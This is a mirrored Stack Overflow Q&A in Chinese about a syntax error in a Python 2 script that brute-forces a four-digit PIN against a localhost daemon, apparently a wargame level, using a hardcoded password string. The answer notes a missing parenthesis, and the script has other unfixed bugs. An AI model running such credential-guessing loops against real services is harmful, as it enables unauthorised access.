python - 我的套接字模块出现无效语法错误

标签 python sockets

#!/bin/python

import socket
HOST = "localhost"
PORT = 30002
list = []
passwd = "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"

for i in range(1000, 9999):
        list.append(i)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
iter = 0
data = s.recv(1024)
# Brute forcing loop
while 1:
        s.send(passwd + " " + list[iter]
        data = s.recv(1024)
        if "Fail!" not in data:
                print s.recv(1024)
                s.close()
        else:
                print "Not: " + list[iter]
                iter += 1
s.close()

我在 s.recv 调用上收到无效语法,但我相信套接字没有启动有效的握手。我可以通过netcat连接到守护进程。

最佳答案

你错过了 s.send() 函数后面的括号

关于python - 我的套接字模块出现无效语法错误,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/34209940/

相关文章:

python - 我如何重新使用经过训练的 fastai 模型?

python - 无法访问位于目标元素之外的某些文本

c - 如果套接字绑定(bind)到 eth0 接口(interface),则 Poll 返回 pollhup 和 pollerr

C++/Xcode 套接字绑定(bind)()错误

c - : 1 pipe and 1 socket, 或 1 个套接字哪个更好?

python - 在 Python 中使用 ImageDraw.Draw(image) 循环会产生重叠文本

python - 迭代 python 列表的最佳方法是什么,排除某些值并打印出结果

c++ - 在匹配的内容上丢弃嗅探数据包

c++做套接字关闭自己运行时

python - 如何在 Python 中的泛型类型上使用 isinstance